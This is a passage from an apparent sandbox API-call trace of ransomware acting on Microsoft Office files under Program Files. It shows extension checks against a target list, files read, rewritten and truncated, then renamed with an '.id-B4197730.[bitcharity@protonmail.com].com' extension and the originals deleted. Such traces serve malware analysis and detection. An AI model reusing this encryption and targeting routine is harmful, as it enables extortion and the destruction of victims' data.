Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0409-1000-0000000ff1ce.xml")) returned 1 [0148.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0148.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0148.109] lstrlenW (lpString=".doc") returned 4 [0148.109] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0148.109] lstrlenW (lpString=".docx") returned 5 [0148.109] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0148.109] lstrlenW (lpString=".pdf") returned 4 [0148.109] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0148.109] lstrlenW (lpString=".xls") returned 4 [0148.109] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0148.109] lstrlenW (lpString=".xlsx") returned 5 [0148.109] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0148.109] lstrlenW (lpString=".ppt") returned 4 [0148.109] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0148.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0148.109] lstrlenW (lpString=".zip") returned 4 [0148.109] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0148.109] lstrlenW (lpString=".rar") returned 4 [0148.109] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0148.109] lstrlenW (lpString=".bz2") returned 4 [0148.109] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0148.110] lstrlenW (lpString=".7z") returned 3 [0148.110] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0148.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0148.110] lstrlenW (lpString=".dbf") returned 4 [0148.110] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0148.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0148.110] lstrlenW (lpString=".1cd") returned 4 [0148.110] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0148.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0148.110] lstrlenW (lpString=".jpg") returned 4 [0148.110] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0148.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0148.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0148.110] lstrlenW (lpString=".doc") returned 4 [0148.110] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0148.110] lstrlenW (lpString=".docx") returned 5 [0148.110] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0148.110] lstrlenW (lpString=".pdf") returned 4 [0148.110] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0148.110] lstrlenW (lpString=".xls") returned 4 [0148.110] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0148.110] lstrlenW (lpString=".xlsx") returned 5 [0148.110] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0148.110] lstrlenW (lpString=".ppt") returned 4 [0148.110] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0148.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0148.110] lstrlenW (lpString=".zip") returned 4 [0148.110] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0148.110] lstrlenW (lpString=".rar") returned 4 [0148.111] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0148.111] lstrlenW (lpString=".bz2") returned 4 [0148.111] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0148.111] lstrlenW (lpString=".7z") returned 3 [0148.111] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0148.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0148.111] lstrlenW (lpString=".dbf") returned 4 [0148.111] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0148.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0148.111] lstrlenW (lpString=".1cd") returned 4 [0148.111] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0148.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0409-1000-0000000FF1CE.xml") returned 104 [0148.111] lstrlenW (lpString=".jpg") returned 4 [0148.111] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0148.111] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0148.111] lstrlenW (lpString="AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 53 [0148.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0148.111] GetFileSizeEx (in: hFile=0x10d0, lpFileSize=0x334ff14 | out: lpFileSize=0x334ff14*=3754) returned 1 [0148.112] CloseHandle (hObject=0x10d0) returned 1 [0148.112] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml")) returned 0x220 [0148.112] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0148.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0148.112] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.112] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0148.112] GetLastError () returned 0x0 [0148.112] ReadFile (in: hFile=0x10d0, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0xeaa, lpOverlapped=0x0) returned 1 [0148.204] WriteFile (in: hFile=0x1088, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xeb0, lpOverlapped=0x0) returned 1 [0148.205] ReadFile (in: hFile=0x10d0, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.205] WriteFile (in: hFile=0x1088, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x13e, lpOverlapped=0x0) returned 1 [0148.206] SetEndOfFile (hFile=0x1088) returned 1 [0148.206] CloseHandle (hObject=0x1088) returned 1 [0148.368] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.368] SetEndOfFile (hFile=0x10d0) returned 1 [0148.369] CloseHandle (hObject=0x10d0) returned 1 [0148.369] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0148.369] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml")) returned 1 [0148.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0148.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0148.369] lstrlenW (lpString=".doc") returned 4 [0148.369] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0148.369] lstrlenW (lpString=".docx") returned 5 [0148.369] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0148.369] lstrlenW (lpString=".pdf") returned 4 [0148.370] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0148.370] lstrlenW (lpString=".xls") returned 4 [0148.370] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0148.370] lstrlenW (lpString=".xlsx") returned 5 [0148.370] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0148.370] lstrlenW (lpString=".ppt") returned 4 [0148.370] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0148.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0148.370] lstrlenW (lpString=".zip") returned 4 [0148.370] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0148.370] lstrlenW (lpString=".rar") returned 4 [0148.370] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0148.370] lstrlenW (lpString=".bz2") returned 4 [0148.370] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0148.370] lstrlenW (lpString=".7z") returned 3 [0148.370] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0148.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0148.370] lstrlenW (lpString=".dbf") returned 4 [0148.370] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0148.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0148.370] lstrlenW (lpString=".1cd") returned 4 [0148.370] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0148.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0148.370] lstrlenW (lpString=".jpg") returned 4 [0148.370] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0148.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0148.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0148.370] lstrlenW (lpString=".doc") returned 4 [0148.370] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0148.370] lstrlenW (lpString=".docx") returned 5 [0148.370] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0148.370] lstrlenW (lpString=".pdf") returned 4 [0148.370] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0148.371] lstrlenW (lpString=".xls") returned 4 [0148.371] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0148.371] lstrlenW (lpString=".xlsx") returned 5 [0148.371] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0148.371] lstrlenW (lpString=".ppt") returned 4 [0148.371] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0148.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0148.371] lstrlenW (lpString=".zip") returned 4 [0148.371] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0148.371] lstrlenW (lpString=".rar") returned 4 [0148.371] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0148.371] lstrlenW (lpString=".bz2") returned 4 [0148.371] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0148.371] lstrlenW (lpString=".7z") returned 3 [0148.371] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0148.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0148.371] lstrlenW (lpString=".dbf") returned 4 [0148.371] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0148.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0148.371] lstrlenW (lpString=".1cd") returned 4 [0148.371] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0148.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104 [0148.371] lstrlenW (lpString=".jpg") returned 4 [0148.371] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0148.371] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0148.371] lstrlenW (lpString="AppXManifest.common.xml") returned 23 [0148.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0148.372] GetFileSizeEx (in: hFile=0x10d0, lpFileSize=0x334ff14 | out: lpFileSize=0x334ff14*=2173046) returned 1 [0148.372] CloseHandle (hObject=0x10d0) returned 1 [0148.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml")) returned 0x220 [0148.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0148.372] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 1 [0148.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10d0 [0148.373] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc64 | out: lpNewFilePointer=0x0) returned 1 [0148.373] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc24 | out: lpNewFilePointer=0x0) returned 1 [0148.373] ReadFile (in: hFile=0x10d0, lpBuffer=0x3f0a058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x334fc30, lpOverlapped=0x0 | out: lpBuffer=0x3f0a058*, lpNumberOfBytesRead=0x334fc30*=0x40000, lpOverlapped=0x0) returned 1 [0148.492] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0xb0d7c, lpNewFilePointer=0x0, dwMoveMethod=0x334fc24 | out: lpNewFilePointer=0x0) returned 1 [0148.492] ReadFile (in: hFile=0x10d0, lpBuffer=0x3f4a058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x334fc30, lpOverlapped=0x0 | out: lpBuffer=0x3f4a058*, lpNumberOfBytesRead=0x334fc30*=0x40000, lpOverlapped=0x0) returned 1 [0148.704] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x334fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0148.704] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x1d2876, lpNewFilePointer=0x0, dwMoveMethod=0x334fc24 | out: lpNewFilePointer=0x0) returned 1 [0148.704] ReadFile (in: hFile=0x10d0, lpBuffer=0x3f8a058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x334fc30, lpOverlapped=0x0 | out: lpBuffer=0x3f8a058*, lpNumberOfBytesRead=0x334fc30*=0x40000, lpOverlapped=0x0) returned 1 [0148.755] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.755] WriteFile (in: hFile=0x10d0, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xc011a, lpNumberOfBytesWritten=0x334fca8, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fca8*=0xc011a, lpOverlapped=0x0) returned 1 [0148.768] SetEndOfFile (hFile=0x10d0) returned 1 [0148.769] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x40000) returned 0x3e340d8 [0148.980] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc74 | out: lpNewFilePointer=0x0) returned 1 [0148.980] WriteFile (in: hFile=0x10d0, lpBuffer=0x3e340d8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x334fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e340d8*, lpNumberOfBytesWritten=0x334fc80*=0x40000, lpOverlapped=0x0) returned 1 [0149.257] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0xb0d7c, lpNewFilePointer=0x0, dwMoveMethod=0x334fc74 | out: lpNewFilePointer=0x0) returned 1 [0149.257] WriteFile (in: hFile=0x10d0, lpBuffer=0x3e340d8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x334fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e340d8*, lpNumberOfBytesWritten=0x334fc80*=0x40000, lpOverlapped=0x0) returned 1 [0149.260] SetFilePointerEx (in: hFile=0x10d0, liDistanceToMove=0x1d2876, lpNewFilePointer=0x0, dwMoveMethod=0x334fc74 | out: lpNewFilePointer=0x0) returned 1 [0149.260] WriteFile (in: hFile=0x10d0, lpBuffer=0x3e340d8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x334fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e340d8*, lpNumberOfBytesWritten=0x334fc80*=0x40000, lpOverlapped=0x0) returned 1 [0149.262] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3e340d8 | out: hHeap=0x5a0000) returned 1 [0149.276] CloseHandle (hObject=0x10d0) returned 1 [0150.714] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0150.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0150.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0150.714] lstrlenW (lpString=".doc") returned 4 [0150.714] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0150.714] lstrlenW (lpString=".docx") returned 5 [0150.715] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0150.715] lstrlenW (lpString=".pdf") returned 4 [0150.715] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0150.715] lstrlenW (lpString=".xls") returned 4 [0150.715] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0150.776] lstrlenW (lpString=".xlsx") returned 5 [0150.776] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0150.776] lstrlenW (lpString=".ppt") returned 4 [0150.776] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0150.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0150.776] lstrlenW (lpString=".zip") returned 4 [0150.776] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0150.776] lstrlenW (lpString=".rar") returned 4 [0150.776] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0150.776] lstrlenW (lpString=".bz2") returned 4 [0150.776] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0150.776] lstrlenW (lpString=".7z") returned 3 [0150.776] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0150.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0150.777] lstrlenW (lpString=".dbf") returned 4 [0150.777] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0150.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0150.777] lstrlenW (lpString=".1cd") returned 4 [0150.777] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0150.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0150.777] lstrlenW (lpString=".jpg") returned 4 [0150.777] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0150.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0150.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0150.777] lstrlenW (lpString=".doc") returned 4 [0150.777] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0150.777] lstrlenW (lpString=".docx") returned 5 [0150.777] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0150.777] lstrlenW (lpString=".pdf") returned 4 [0150.777] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0150.777] lstrlenW (lpString=".xls") returned 4 [0150.777] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0150.777] lstrlenW (lpString=".xlsx") returned 5 [0150.777] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0150.777] lstrlenW (lpString=".ppt") returned 4 [0150.777] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0150.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0150.778] lstrlenW (lpString=".zip") returned 4 [0150.778] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0150.778] lstrlenW (lpString=".rar") returned 4 [0150.778] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0150.778] lstrlenW (lpString=".bz2") returned 4 [0150.778] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0150.778] lstrlenW (lpString=".7z") returned 3 [0150.778] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0150.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0150.778] lstrlenW (lpString=".dbf") returned 4 [0150.778] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0150.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0150.778] lstrlenW (lpString=".1cd") returned 4 [0150.778] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0150.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0150.778] lstrlenW (lpString=".jpg") returned 4 [0150.778] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0150.778] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0150.778] lstrlenW (lpString="AN00932_.WMF") returned 12 [0150.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1078 [0150.779] GetFileSizeEx (in: hFile=0x1078, lpFileSize=0x334ff14 | out: lpFileSize=0x334ff14*=14428) returned 1 [0150.779] CloseHandle (hObject=0x1078) returned 1 [0150.779] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf")) returned 0x220 [0150.779] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0150.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1078 [0150.780] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.780] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00932_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program 